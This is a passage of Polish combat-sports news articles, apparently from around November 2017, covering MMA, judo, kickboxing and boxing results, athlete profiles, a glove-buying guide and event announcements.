Karolina Owczarz cały czas czuła w powietrzu zapach sportów walki. Zaczęła uczęszczać na treningi MMA, poczuła we krwi zastrzyk adrenaliny, a przy okazji głód rywalizacji. I gotowe. 24-latka wraca do aktywnego uprawiania sportu, chce próbować swoich sił w MMA. Otwarte pozostają pytania – kiedy, z kim i gdzie? – Kiedy Artur Ostaszewski z Shocker MMA kilka miesięcy temu, w prywatnej rozmowie, rzucił hasło: pomyśl o MMA, to zaczęłam sie śmiać i urwałam temat. Myśl wracała jednak do mnie jak bumerang i okazało się, że Artur jak zwykle miał rację… Teraz w końcu mogę oficjalnie ogłosić, że jestem częścią Shocker MMA – napisała na swoim Facebooku Karolina Owczarz.
Warto dodać, że w grupie Shocker są m.in. Marcin Różalski, Tomasz Oświeciński czy Albert Odzimkowski.
Fot. Karolina Owczarz Facebook
KM
Trzy dni zmagań w stolicy Czarnogóry. 10 listopada rozpoczną się młodzieżowe mistrzostwa Europy w judo. O medale powalczy dziesięcioro reprezentantów Polski.
Zawodnicy do lat 23 lat będą mieli okazję sprawdzić swoje możliwości w imprezie rangi mistrzowskiej. Czy Polacy zabłysną w Podgoricy?
Piękne miejsce
Niejeden turysta powie, że warto odwiedzić Czarnogórę. Dla wielu zwiedzających odkrycie Podgoricy i poznanie jej stanowi wyjątkowe doświadczenie. Miasto położone między Ribnicą i Moracą robi wrażenie. Podgorica może pochwalić się, jak wiele miejsc na Bałkanach, bogatą historią. W XV wieku miasto zostało częścią Imperium Osmańskiego, a później Czarnogóry. Wcześniej miało inne nazwy, związane było m.in. z Wenecją. Następnie Podgorica została włączona do Serbii, a potem Jugosławii. Niezwykle bolesny dla miasta był rok 1944, kiedy to zostało ono zbombardowane, ale w grudniu tego samego roku udało się je wyzwolić. Po wojnie trwała jego odbudowa. Obecnie Podgorica jest niezwykle urocza, piękna i stanowi wizytówkę, budzącej coraz większą ciekawość wśród turystów, Czarnogóry.
Przy okazji młodzieżowych mistrzostw Europy w judo, nadarza się znakomita okazja, aby poznać miasto. Przez trzy dni, 10-12 listopada, Podgorica będzie gościła ponad 300 zawodniczek i zawodników z blisko 40 państw. W stolicy Czarnogóry zaprezentuje się dziesięcioro Polaków: Patryk Wawrzyczek (-66kg), Mateusz Garbacz (-73kg), Piotr Kuczera (-90kg), Rafał Kozłowski (-90kg), Katarzyna Wiszniewska (-48kg), Urszula Hofman (-70kg), Paula Kułaga (-78kg), Beata Pacut (-78kg), Anita Formela (+78kg) i Anna Załęczna (+78kg).
Jedną z naszych faworytek do miejsca na podium jest Beata Pacut (78kg). Rok temu w Tel Awiwie Polka przegrała w ćwierćfinale z późniejszą triumfatorką Anastasiyą Turchyn i zajęła siódme miejsce. Tegoroczne starty w wykonaniu 21-letniej zawodniczki Czarnych Bytom są bardzo dobre. Pacut już trzykrotnie meldowała się na podium międzynarodowych turniejów. Polka zajmowała drugie miejsca w Pradze, Mińsku i Taszkiencie. Czas na kolejny medal na imprezie rangi mistrzowstw Europy. Do tej pory Pacut zapisała na swoim koncie srebro w czempionacie juniorów w 2014 roku.
Po raz ostatni w młodzieżowych mistrzostwach Europy zaprezentuje się Piotr Kuczera (90kg). W Tel Awiwie zawodnik z Rybnika odpadł już w eliminacjach. Teraz 22-latek znalazł się w gronie tych, którzy powalczą o podium. Ma argumenty, bo w tym roku już cztery razy stał na podium. Jednak ostatni raz 15 lipca w Saarburecken, gdzie zajął trzecie miejsce.
Blisko podium
Rok temu w Izraelu o krok od medalu młodzieżowych mistrzostw Europy były Paula Kułaga (78kg) i Anna Załęczna (+78kg). Obie wygrały po dwie walki, jednak na ostatniej prostej musiały uznać wyższość odpowiednio Giorgii Stangherlin i Jodie Myers. W tym roku zdecydowanie lepiej prezentuje się Załęczna, która m.in. była trzecia w Celje.
KM
Zapraszamy na transmisję telewizyjną na żywo z WAKO World Championships 2017. Zawody odbywają się w Budapeszcie na Węgrzech.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z WAKO World Championships 2017. Zawody odbywają się w Budapeszcie na Węgrzech.
[kod]
Tatami 2
Tatami 1,3,5 and Rings 1,2,3
Tatami 4
Tatami 6
Zapraszamy na transmisję telewizyjną na żywo z WAKO World Championships 2017. Zawody odbywają się w Budapeszcie na Węgrzech.
[kod]
Musical Forms
Tatami 1
Tatami 2
Tatami 3
Tatami 4
Tatami 5
Tatami 6
RING 1
RING 2
RING 3
Informations
Zapraszamy na transmisję telewizyjną na żywo z WAKO World Championships 2017. Zawody odbywają się w Budapeszcie na Węgrzech.
[kod]
Musical Forms
Tatami 1
Tatami 2
Tatami 3
Tatami 4
Tatami 5
Tatami 6
RING 1
RING 2
RING 3
Informations
Zapraszamy na transmisję telewizyjną na żywo z WAKO World Championships 2017. Zawody odbywają się w Budapeszcie na Węgrzech.
[kod]
Musical Forms
Tatami 1
Tatami 2
Tatami 3
RING 1
RING 2
RING 3
Informations
Zapraszamy na transmisję telewizyjną na żywo z WAKO World Championships 2017. Zawody odbywają się w Budapeszcie na Węgrzech.
[kod]
Tatami 1
Tatami 2
Tatami 3
Ring 1
Ring 2
Ring 3
Informations
Zapraszamy na transmisję telewizyjną na żywo z WAKO World Championships 2017. Zawody odbywają się w Budapeszcie na Węgrzech.
[kod]
Tatami 1
Ring 1
Informations
Zapraszamy na transmisję telewizyjną na żywo z WAKO World Championships 2017. Zawody odbywają się w Budapeszcie na Węgrzech.
[kod]
World Championships Gala
WAKO World Championships 2017 – GALA – Total View
WAKO World Championships 2017 – GALA – Tatami
WAKO World Championships 2017 – GALA – Ring
Joanna Jędrzejczyk na kolanach, Polka straciła pas mistrzyni UFC kategorii słomkowej. Piękny sen został przerwany, pierwsza porażka w MMA na koncie 30-latki. Czy przegrana w starciu z Rose Namajunas stanowi powód do dyskredytowania możliwości Joanny Jędrzejczyk?
30-latka pochodząca z Olsztyna stała się marką samą w sobie. Jedną z najbardziej rozpoznawalnych i lubianych polskich sportsmenek. Teraz dla Joanny Jędrzejczyk nastał trudny czas.
Przegrać jeden raz
„Zwycięstwo ma wielu ojców, porażka jest sierotą” – prawda stara jak świat. Niestety, praktyka życia jest tego najlepszym potwierdzeniem. Tłumy wielbią zwycięzców, bo chcą mieć swoich idoli. A gdy przychodzi porażka, wylewają wiadro pomyj. Może w przypadku Joanny Jędrzejczyk aż tak źle nie jest. Jednak porażka na gali UFC 217 w Madison Square Garden i utrata mistrzowskiego pasa na rzecz Rose Namajunas sprawiła, że akcje Polki poszybowały w dół. Wcale nie jest taka dobra, jak się wydawało. Ma słabą szczękę. Musiała kiedyś przegrać. Wreszcie ktoś jej utarł nosa. Oceniać i komentować każdy może, ale pytanie – czy ma ku temu solidne podstawy. Bo przydałaby się analiza, rozeznanie, bo słowa mają swoją wagę i mogą ranić. Można rzucać na lewo i prawo ocenami, ale co one mają wspólnego z rzeczywistością?
Każdy może przegrać. Najważniejsze, aby umiał się podnieść i iść dalej. Do tej pory Joanna Jędrzejczyk kibicom MMA w Polsce dostarczała wiele radości i wzruszeń. 30-latka pokazała, że jeśli się chce, to można wznieść się na szczyt. Zawsze uśmiechnięta, radosna, pozytywnie nastawiona do otoczenia i gotowa do ciężkiej pracy. W świecie sportów walki może uchodzić za autorytet. Przebiła się w UFC i zyskała miano gwiazdy. 14 marca 2015 roku pokonała Carlę Esparzę i sięgnęła po mistrzostwo w wadze słomkowej. Pięć razy skutecznie broniła swojej zdobyczy, ale szósta zakończyła się stosunkowo szybko. Rose Namajunas dopadła Polkę w pierwszej rundzie. Jędrzejczyk padła po ciosach Amerykanki, ale wstała, jednak kolejny atak był perfekcyjny. Namajunas okładała olsztyniankę i ta odklepała. Wkroczył sędzia, który przerwał pojedynek. Amerykanka spełniła swoje marzenia. A może tak warto spojrzeć na tę walkę? Naładowana Namajunas sięgnęła po pas mistrzowski. Z kolei Jędrzejczyk zanotowała pierwszą porażkę w karierze, straciła pas po 966 dniach.
Co dalej?
Polka nie zapadnie się pod ziemię i nie zniknie. Jest prawdziwą wojowniczką i z pewnością zobaczymy ją w walce z Namajunas. Trzeba tylko pamiętać, że jedna porażka nie przekreśla całego dorobku, a po tym jak się przegrywa poznaje się prawdziwych mistrzów. O tym warto pamiętać!
Joanna Jędrzejczyk nie rozpamiętuje porażki. – Patrzę z optymizmem w przyszłość. Wiem, że wrócę silniejsza niż kiedykolwiek i szybciej niż się tego spodziewacie – napisała na swoim Facebooku.
Fot. Facebook Joanna Jędrzejczyk
KM
Rękawice MMA muszą być wygodne
To pierwsza i najważniejsza sprawa. Nie da się efektywnie ćwiczyć wyprowadzania ciosów, jeżeli rękawice będą zbyt luźne. Z drugiej strony nadmierna ciasnota może być nie tylko niewygodna, ale tez prowadzić do otarć. Dlatego staraj się znaleźć rękawice, które będą jak najlepiej pasować do wielkości Twoich dłoni. Jeśli kupujesz je przez internet, zawsze możesz wcześniej zapytać o możliwość wymiany na inny rozmiar.
Zwróć uwagę na rzep
Rzepy, którymi mocujesz rękawice na nadgarstkach, odpowiadają nie tylko za to, żeby rękawice dobrze się trzymały na pięściach, ale i za stabilizację nadgarstka. Z tego też powodu warto, by były odpowiednio szerokie. Ma to znaczenie zwłaszcza w przypadku osób początkujących, które jeszcze nie mają wyrobionego odruchu prawidłowego układania pieści w trakcie uderzenia.
Poziom zabudowania rękawicy
Większość sklepów z akcesoriami do sportów walki (chociażby FighterShop) proponują rękawice MMA o warstwach ochronnych o bardzo różnej grubości. Czym właściwie różnią się między sobą i kiedy warto po nie sięgać? Przede wszystkim przekazywaną siłą uderzenia, ale też zakresem ruchów.
Te bardziej zabudowane ograniczają możliwości chwytów i podduszania, co sprawia, że w walkach sięga się raczej po ich lżejsze odpowiedniki. Należy jednak zaznaczyć, że z perspektywy początkującego ograniczenie to jest pomijalne, ponieważ do podstawowych chwytów i tak wystarczają. Jednocześnie nawet zaawansowani sięgają po bardziej zabudowane rękawice gdy uczestniczą w sparingach. Warto tez zaznaczyć, że na workach MMA spokojnie można ćwiczyć i w lekkich i w bardziej obudowanych rękawicach.
Które więc wybrać? Na dłuższą metę warto mieć dwie pary, jedną prostą, drugą obudowaną, ale początkowo wystarczy wersja zapewniająca większe bezpieczeństwo (zarówno dla partnerów treningowych, jak i dla własnych dłoni).
Zapraszamy do obejrzenia siódmego odcinka programu z serii PZKB TV. Tym razem gościem jest Grzegorz Engel trener MKS Wicher Kobyłka i ENGEL TEAM oraz Reprezentacji Polski w formule Kick-Light.
[kod]
Zapraszamy do obejrzenia wywiadu z Grzgorzem Chałubińskim współtwórcą i matchmakerem federacji Ladies Fight Night.
[kod]
SPORTS NEWS PZKB: Zapraszamy do obejrzenia drugiego wydania Newsów PZKB.
[kod]
4 listopada Joanna Jędrzejczyk zmierzy się z Rose Namajunas na gali UFC 217 w Madison Square Garden w Nowym Jorku. Dla Polki będzie to już szósta obrona mistrzowskiego pasa w kategorii słomkowej.
30-latka pochodząca z Olsztyna jest jak maszyna, która odprawia kolejne rywalki. Jędrzejczyk wygodnie rozsiadła się na tronie i stała się królową MMA.
Mistrzyni jest jedna
Po raz drugi Joanna Jędrzejczyk będzie broniła mistrzowskiego pasa w Madison Square Garden. W Nowym Jorku rywalizowała na gali UFC 205, gdzie pokonała Karolinę Kowalkiewicz. To właśnie wtedy Conor McGregor wygrał przed czasem z Eddim Alvarezem i sięgnął po pas w wadze lekkiej. Wracając do Polki, tytuł wywalczyła dwa i pół roku temu. W Dallas wygrala przez nokaut z Carlą Esparzą i sięgnęła po pas wagi słomkowej. Nie brakowało zawodniczek, które żywiły nadzieję, że odbiorą Jędrzejczyk miano najlepszej. Jessica Penne, Valerie Letourneau, Claudia Gadelha, Kowalkiewicz i Jessica Andrade próbowały, ale musiały obejść się smakiem.
Teraz swojej szansy szuka Rose Namajunas. 25-letnia Amerykanka, która ma korzenie litewskie swoją przygodę ze sportami walki rozpoczęła w wieku pięciu lat. Namajunas może pochwalić się czarnymi pasami taekwondo i karate. Trenowała również jiu-jitsu. Co ciekawe, zawodniczka UFC ma szeroki wachlarz talentów. Namajunas ukończyła Wyższą Szkołę Sztuk Pięknych w Milwaukee. W wonych chwilach lubi grać… Chopina. Do MMA weszła mocnym akcetem. Dotarła do finału The Ulimate Fighter 20. W grudniu 2014 roku przegrała w trzeciej rundzie z Carlą Esparzą. Następnie Namajunas wygrała trzy walki w UFC, dopiero Karolina Kowalkiewicz zatrzymała Namajunas, ale wygrała niejednogłośną decyzją sędziów. W kwietniu 25-latka pokonała Michelle Waterson przez duszenie w drugiej rundzie.
W Nowym Jorku Namajunas stanie przed życiową szansą, ale Jędrzejczyk to doświadczona i niemalże perfekcyjna zawodniczka. Polka musi uważać na Amerykankę, która potrafi w mgnieniu oka znaleźć pozycję i zmusić rywalkę do poddania. Z pewnością mistrzyni UFC poznała Namajunas na wylot i jest w pełni przygotowana do rywalizacji.
Powrót
Prawie cztery lata fani MMA musieli czekać na kolejną walkę Georgesa St. Pierre'a. Kanadayjczyk ma fantastyczną passę dwunastu wygranych z rzędu. W Nowym Jorku St. Pierre zaprezentuje się w walce wieczoru, a jego rywalem będzie z mistrzem wagi średniej Michaelem Bispingiem.
Podczas gali UFC 217 dojdzie również do starcia o pas w wadze koguciej. Cody Garbrandt będzie bronił tytułu w starciu z T.J. Dillashawem.
Fot. Joanna Jędrzejczyk Facebook
KM
Dzień Wszystkich Świętych to czas pogłębionej refleksji. Pochylamy się nad mogiłami tych, których nie ma. Wydaje się, że jeszcze niedawno z nimi rozmawialiśmy, wspólnie działaliśmy, śmialiśmy się. Zaduma nad życiem, jego kruchością i istotą. A w tym wszystkim pamięć. Bo choć ich nie ma, nadal trwają. W naszych sercach, w naszej pamięci.
W ciągu roku pożegnaliśmy wiele wybitnych postaci związanych ze sportami walki. „Byk z Bronxu” – tak nazywano Jake LaMottę, który charateryzował się niezwykłą wytrzymałością. Bokser stoczył 106 walk, wygrał 83. Na podstawie jego życiorysu Martin Scorsese nakręcił film „Wściekły Byk” z Robertem De Niro w roli głównej. Jake LaMotta zmarł 19 września 2017 roku w wieku 95 lat.
W Los Angeles sięgnął po tytuł mistrza świata kategorii piórkowej. Było to w 1963 roku. Sugar Ramos pokonał Daveya Moore'a, którego po 10. rundzie poddał jego sekundant. Kilka dni po walce pięściarz zmarł. Z kolei pochodzący z Kuby Ramos skutecznie bronił tytułu do września 1964 roku. Później walczył jeszcze o pas w wadze lekkiej, ale bezskutecznie. Zmarł mając 75 lat.
Józef Grudzień był jednym z najwybitniejszych polskich bokserów. Zdobył złoto Igrzysk Olipijskich w Tokio w 1964 roku, cztery lata później w Meksyku sięgnął po srebro. Na swoim koncie zapisał również mistrzostwo i wicemistrzostwo Europy. Sukcesy odnosił w wadze lekkiej. Józef Grudzień zmarł w wieku 78 lat.
Zaledwie 34 lata przeżył Tim Hauge. Kanadyjczyk dał się poznać kibicom jako twardy zawodnik MMA, który na swoim koncie zapisał występy w UFC. W czerwcu zaprezentował się w ringu bokserskim. Hauge zaliczył pięć nokdaunów w walce z Adamem Braidwoodem. Trafił do szpitala z obrażeniami mózgu, po kilku dniach zmarł.
Po ponad rocznej przerwie do klatki MMA wrócił Donshay White. W drugiej rundzie przerwano jego walkę z Rickym Musem.W drodze do szatni White stracił przytomność i już jej nie odzyskał. Odszedł w wieku 37 lat.
Zaledwie siedemnaście walk w MMA stoczył Dawid Żywica. Miało być więcej… W ostatniej walce zdolny fighter zaprezentował się podczas gali PLMA 70 w Warszawie, gdzie pokonał Sonica Valerianova. Półtora miesiąca później Żywica zmarł. Miał 25 lat.
Tylko 17 lat przeżył Jakub Szczęsny. Całe środowisko kickboxingu pogrążyło się w smutku. Trenował w klubie FC Knurów i z nadzieją patrzył w przyszłość. Uprawiał również, z sukcesami, taekwondo. W wieku 64 lat odszeł mistrz Europy w wadze ciężkiej z 1975 roku w boksie Andrzej Biegalski.
W naszej pamięci pozostają: Grzegorz Pieronkiewicz, Muhammad Ali, Wiesław Rudkowski, Henryk Średnicki, Józef Warchoł, Bogdan Chruścicki, Bohdan Tomaszewski, Jerzy Kulej, Zbigniew Pietrzykowski. Zrobili wiele dla sportów walki, tworzyli historię i na trwałe się w niej zapisali. Pozostaną w naszych sercach. Na zawsze.
KM
Brytyjski bokser wagi ciężkiej urodzony 15 października 1989 roku w Watford. Mistrz olimpijski i wicemistrz świata amatorów, aktualny zawodowy mistrz świata federacji IBF, superczempion WBA i IBO. W 2011 roku, w barwach reprezentacji, podczas mistrzostw świata amatorów w Baku zdobył srebrny medal w kategorii superciężkiej (powyżej 91 kg). Na igrzyskach olimpijskich w Londynie zdobył złoty medal w kategorii powyżej 91 kg.
Zawodową karierę rozpoczął 5 października 2013 w Londynie, pokonując przez TKO w pierwszej rundzie Włocha Emanuele Leo. 22 listopada 2014 w Echo Arena w Liverpoolu, w kolejnej dziesiątej swojej walce Joshua spotkał się z rodakiem Michaelem Sprottem (42-23, 17 KO). Po serii ciosów w pierwszej rundzie Anthony'ego, arbiter Terry O'Connor przerwał walkę, ogłaszając wygraną Joshui przez TKO. 4 kwietnia 2015 w Metro Radio Arena w Newcastle znokautował w trzeciej rundzie Amerykanina Jasona Gaverna (26-20-4, 11 KO). 9 maja 2015 w Birmingham znokautował w drugiej rundzie Brazylijczyka Raphaela Zumbano Love′a (36-11-1, 29 KO). 30 maja 2015 w Londynie wygrał przez techniczny nokaut w drugiej rudzie z Amerykaninem Kevinem Johnsonem (29-7-1, 14 KO), zdobywając międzynarodowy tytuł WBC. 12 września 2015 w Londynie wygrał przez techniczny nokaut pokonując w pierwszej rundzie Szkota Gary'ego Cornisha (21-1, 12 KO). 12 grudnia 2015 w Londynie pokonał przez techniczny nokaut w siódmej rundzie Dilliana Whyte (16-1, 13 KO).
9 kwietnia 2016 w londyńskiej O2 Arena znokautował w drugiej rundzie Amerykanina Charlesa Martina (23-1-1, 21 KO), zdobywając tym samym tytuł mistrza świata federacji IBF. 25 czerwca 2016 w Londynie pokonał w pierwszej obronie tytuł mistrza świata przez nokaut w siódmej rundzie Amerykanina Dominica Breazeale'a (17-1, 15 KO). 10 grudnia 2016 w Manchesterze pokonał przez techniczny nokaut w trzeciej rundzie Amerykanina Erica Molinę (25-4, 19 KO), broniąc po raz drugi tytuł mistrza świata wagi ciężkiej federacji IBF.
29.04.2017r. doszło do oczekiwanej walki z byłym mistrzem świata WBA, IBF, WBO i IBO Ukraińcem Wołodymyrem Kłyczko. Walka odbyła się w Londynie na stadionie Wembley przy blisko 90 tys. widzach obecnych na trybunach. Obaj pięściarze według nieoficjalnych informacji mieli za walkę zainkasować minimum 15 mln. funtów, co było by największymi wypłatami w ich karierach. Przed starciem zdecydowanym faworytem bukmacherów i większości ekspertów był młodszy Joshua. Sama walka miała przebieg dramatyczny. Gdy wydawało się, że Anglik może zakończyć walkę w 5 rundzie dopadł go kryzys kondycyjny, a jego ciosy były niedokładne. Wykorzystał to bardziej doświadczony Kliczko, który nie dość, że doszedł do siebie po liczeniu to jeszcze zepchnął do obrony zmęczonego Anglika, który ledwo dotrwał do końca rundy. W 6 rundzie inicjatywę przejął Kliczko, który sensacyjnie rzucił ulubieńca publiczności na deski. Jednak Joshua podniósł się i ponownie cudem przetrwał do końca rundy. Obaj pięściarze wyglądali na skrajnie wymęczonych. W następnych rundach pojedynek się lekko uspokoił, obaj zawodnicy starali się nabrać nowych sił. W 11 rundzie do ataku ponownie ruszył Joshua trafiając potężnie Ukraińca i dwukrotnie posyłając go na deski. Po kolejnym ataku Anglika sędzia zastopował pojedynek chroniąc Ukraińca przez prawdopodobnie ciężkim nokautem. Tym samym Joshua odniósł swoje 19 zwycięstwo w karierze, obronił po raz trzeci w karierze pasa IBF i dorzucił do kolekcji brakujące tytuły WBA i IBO.
Judoka Maciej Sarnacki (+100kg) wywalczył srebrny medal w zawodach Grand Slam w Abu Dhabi. Na podium stanęła również Agata Ozdoba-Błach (63kg), która była trzecia. Z kolei w Pucharze Europy kadetów w Koper biało-czerwoni zdobyli dwa medale.
Nasza młodzież zajęła siódme miejsce w klasyfikacji końcowej zawodów, zaś seniorzy w Abu Dhabi uplasowali się na czternastej pozycji.
W końcu podium
Maciej Sarnacki mógł mieć koszmary. Wszystko przez prześladujące go piąte miejsca. Zaczęło się od mistrzostw Europy w Warszawie, gdzie judoka Gwardii Olsztyn starcie o brąz przegrał z Czechem Lukasem Krpalekiem. Później był piąty w Bukareszcie i Saarbrucken. Do Abu Dhabi mógł jechać z nadziejami, ale nie spodziewał się, że będzie walczył o złoto. Dotychczas w zawodach rangi Grand Slam Sarnacki trzy razy stawał na podium, za każdym razem na jego najniższym stopniu stopniu. W stolicy Zjednoczonych Emiratów Arabskich 30-latek pokazał się z najlepszej strony. Trzy walki wygrał przed czasem i stanął do rywalizacji o złoto. Jego rywalem był doświadczony Francuz Cyrille Maret, który szybko zakończył starcie.
Kolejny dobry występ zaliczyła Agata Ozdoba-Błach (63kg). Brązowa medalistka tegorocznych mistrzostw Europy po raz drugi w karierze zajęła trzecie miejsce w zawodach rangi Grand Slam. Ponownie w Abu Dhabi. Na drodze Polki w półfinale stanęła Lucy Renshall. Ozdoba-Błach nie potrafiła znaleźć recepty na ubiegłoroczną mistrzynię Europy U23 i zapisała na swoim koncie trzy kary shido. W starciu o brąz nasza zawodniczka pokonała młodą Emily Burt, która w Abu Dhabi odniosła największy sukces w karierze.
Tym razem smakiem musiała się obejść Anna Borowska (57kg). Polka na początek rywalizacji pokonała Soumiyę Iraoui, a potem przegrała dwie walki i zajęła siódmą lokatę. Julia Kowalczyk (57kg), Agata Perenc i Karolina Pieńkowska (52kg), Karolina Tałach (63kg), Damian Szwarnowiecki (81kg) i Piotr Kuczera (90kg) odpadli z turnieju po jednej walce.
Złota Kinga
W Koper wystartowało ośmioro Polaków, a dwie judoczki wracają w wyśmienitych nastrojach. Do góry mogła podskoczyć Kinga Wolszczak (+70kg), która zapisała na swoim koncie złoty medal. W tym roku judoczka zajmowała już trzecie miejsca w Teplicach i Fuengiroli. Nad Adriatykiem rozłożyła na łopatki dwie Włoszki.
Największy sukces w tym sezonie zanotowała Paulina Szlachta (48kg). 17-latka nie zaczęła najlepiej, bo przegrała z Włoszką Carlottą Avanzato, ale później wygrała dwie walki i zdobyła brąz.
O krok od podium była Agata Palka, która zajęła piąte miejsce. Siódma była Nikola Szlachta.
KM
Zapraszamy do obejrzenia wywiadu z Sylwią Juśkiewicz zawodniczką federacji Ladies Fight Night.
[kod]
„Piękna i Bestia” poprowadzą kolejny obóz treningowy dla zawodniczek #LFNTeam w Łodzi! #LFNCAMP 02-05 listopada 2017r. w Łodzi.
Wielokrotna Mistrzyni Świata i Europy w kick-boxingu, pionierka polskiej kariery bokserskiej kobiet – Iwona Guzowska oraz międzynarodowy Mistrz KSW wagi ciężkiej – Marcin Różalski, poprowadzą przygotowania polskich zawodniczek do grudniowej gali Ladies Fight Night.
Trzecia odsłona obozu sportowego dla zawodniczek jedynej w Europie żeńskiej organizacji sportów walki odbędzie się 2-5 listopada w Fight Club Łódź (ul. Drewnowska 77). Podczas czerwcowego spotkania dziewczęta miały okazję trenować pod okiem Mistrzyni Świata MMA Joanny Jędrzejczyk. Tym razem treningi poprowadzą Mistrzyni kick-boxingu Iwona Guzowska oraz Mistrz KSW Marcin Różalski. Obóz został podzielony na dwie części. Spotkanie rozpocznie Iwona Guzowska oraz poprowadzi treningi w czwartek i w piątek. Kolejne dwa dni obozu będą należały do Marcina Różalskiego. Uczestnictwo w obozie potwierdziły takie zawodniczki jak m.in. Agnieszka Niedźwiedź, Izabella Badurek, Katarzyna Sadura, Katarzyna Lubońska oraz Marta Waliczek.
Grudniowa gala Ladies Fight Night „Double Trouble”
Listopadowy obóz sportowy rozpoczyna przygotowania zawodniczek do podwójnej, grudniowej gali organizacji Ladies Fight Night zatytułowanej „Double Trouble”. To kolejny event sportowy, który zaskoczy was wszystkich. Drugie urodziny obchodzić będziemy już 15 i 16 grudnia. Rejestracja wejściówek na naszej odświeżonej stronie już od 15 listopada 2017r. Zapraszamy! Podwójne kłopoty gwarantowane!
Harmonogram obozu:
02.11.2017r. (czwartek) – trening godz. 17.00 (Iwona Guzowska)
03.11.2017r. (piątek) – trening godz. 10.00 i 17.00 (Iwona Guzowska)
04.11.2017r. (sobota) – trening godz. 10.00 i 17.00 (Marcin Różalski)
05.11.2017r. (niedziela) – trening godz. 10.00 (Marcin Różalski)
Miejsce:
Fight Club Łódź, ul. Drewnowska 77
Mistrz ponownie wygrał przed czasem. Anthony Joshua znokautował w dziesiątej rundzie Carlosa Takama i obronił pasy mistrza świata wagi ciężkiej federacji IBF, IBO i WBA.
28-letni gwiazdor kategorii królewskiej zaprezentował się w ringu po raz pierwszy od kwietniowego starcia z Władimirem Kliczko.
Dwudziesta wygrana przed czasem
Anthony Joshua imponuje siłą i skutecznością. W Cardiff stoczył dwudziestą walkę w karierze i po raz dwudziesty wygrał przed czasem! Na Principality Stadium 28-letni czempion wagi ciężkiej miał rywalizować z Kubratem Pulewem, jednak Bułgar dwanaście dni przed walką doznał kontuzji. Jego miejsce zajął Carlos Takam, który swego czasu przegrał z Aleksandrem Powietkinem i Josephem Parkerem. W tym roku 36-letni bokser urodzony w Kamerunie pokonał m.in. Marcina Rekowskiego. Nie da się ukryć, że szanse Takama na sukces w starciu z Joshuą oceniano jako minimalne.
36-latek walczył dzielnie z faworytem. Pierwsza runda na rozpoznanie, a później w ruch poszły pięści. W drugiej odsłonie Takam zachwiał się. Joshua kontynuował drogę do zwycięstwa i w czwartej rundzie groźnie skontrował rywala. Takam miał problem z okiem, przyjął kolejne ciosy i był po raz pierwszy liczony. To zachęciło Joshuę, który ani na chwilę nie myślał, aby zwolnić. Takam stał jednak twardo na nogach i przyjmował kolejne ciosy, ale szukał również możliwości trafienia czempiona. Przewaga Brytyjczyka nie podlegała dyskusji. Takam robił wszystko, aby dotrwać do końca starcia. W dziesiątej rundzie Joshua niemiłosiernie okładał Francuza ciosami, do akcji wkroczył sędzia, który przerwał walkę. Takam nie był zadowolony z takiego obrotu sprawy, ale musiał pogodzić się z tą decyzją.
Walka zakończyła się zwycięstwem Joshuy, który po raz pierwszy obronił pas IBF, IBO i WBA. Jednak z walki nie wyszedł bez szwanku. Bokser podkreślał, że ma problemy z oddychaniem. Prawdopodobnie przez złamany nos.
Co dalej?
Warto podkreślić, że Joshua pisze nowy rozdział w historii boksu. Wygrał dwudziesty raz przez nokaut, czym poprawił wynik Mike Tysona, który triumfował dziewiętnaście razy z rzędu.
Teraz wszyscy czekają na starcie tytanów kategorii królewskiej. Mówi się, że w przyszłym roku miałoby dojść do pojedynku Joshuy z Deontayem Wilderem. Dwóch bombardierów stanęłoby do rywalizacji o ogromną stawkę. Na szali pasy WBC, WBA, IBF i IBO. Zapowiada się wydarzenie największego kalibru. Czekamy.
KM
Podczas gali KSW 40 w Dublinie było niezwykle gorąco. Nie tylko za sprawą emocji sportowych. Walka Mateusza Gamrota z Normanem Parkiem zakończyła się skandalem w postaci przepychanek i wyzwisk. Federacja KSW wyciągnęła konsekwencje.
Gamrot i Parke spotkali się po raz drugi. Walka na gali KSW 39 Colosseum w Warszawie zakończyła się pozytywnym rozstrzygnięciem dla Polaka. W Dublinie doszło do rewanżu…
Walka, której nie było
Mateusz Gamrot ponownie chciał udowodnić, że jest lepszy. Parke miał zakusy na pas mistrzowski, jednak nie potrafił skutecznie przeciwstawić się Polakowi. Przez dwie rundy mistrz wagi lekkiej obijał głowę Irlandczyka. Zawodnicy zdecydowali się na rywalizację w stójce. Parke starał się podpuścić Gamrota i często go prowokował. Pretendent pokazywał, że ciosy rywala nie robią na nim wrażenia. W pierwszej rundzie mistrz KSW trafił Irlandczyka w krocze. Kopnięcie nie było zamierzone. W końcu Parke doszedł do siebie, ale nie potrafił zagrozić Gamrotowi.
Druga runda miała bardzo podobny przebieg. Gamrot okładał rywala, a ten postawił na grę aktorską, jednak widać było, że jest coraz słabszy. Polak dopuszczał się nieczystych zagrań. Gamrot wsadził palec w oko Irlandczykowi i ten musiał się poddać oględzinom lekarza. Medyk nie pozwolił na kontynuowanie starcia. Pojedynek uznano za nierozstrzygnięty.
W oktagonie było gorąco. Zawodnicy wzajemnie się prowokowali i doszło do przepychanek. Parke zaatakował Borysa Mańkowskiego, a jeden z sekundantów Gamrota uderzyła Parke'a. Gdy emocje już opadły, do akcji postanowiła wkroczyć federacja KSW. Kary się posypały.
Kto ucierpi najbardziej?
Po „kieszeni” dostaną główni aktorzy widowiska. – Mając na uwadze fakt, że to Norman Parke, kiedy podszedł do narożnika swojego rywala, pierwszy odepchnął Borysa Mańkowskiego, za atak na narożnik przeciwnika zawodnik z Irlandii Północnej zostanie ukarany finansowo – czytamy w oświadczeniu federacji KSW. I dalej: – Za zachowanie narożnika kara finansowa nałożona została również na mistrza KSW w wadze lekkiej, Mateusza Gamrota.
Ukarany został również Marcin Bilman, który stał w narożniku Polaka i uderzył Parke'a. – Na galach KSW nie ma miejsca na atakowanie zarówno narożnika zawodników, jak i samych fighterów, ponieważ jest to zachowanie wysoce odbiegające od sportowych standardów, które przyświecają Federacji KSW. Federacja nakłada na Marcina Bilmana zakaz wstępu do narożników oraz zaplecze na okres 9 miesięcy od dnia gali KSW 40 – napisano w oświadczeniu.
KM
Ćwierćfinały turnieju World Boxing Super Series za nami. Ostatnim półfinalistą w kategorii super średniej został Jurgen Braehmer, który w Schwerinie pokonał Roba Branta.
Jesienne emocje związane z rywalizacją w WBSS zakończone. Odbyło się osiem walk w dwóch kategoriach wagowych. Kogo zobaczymy w półfinałowych starciach?
Kategoria super średnia
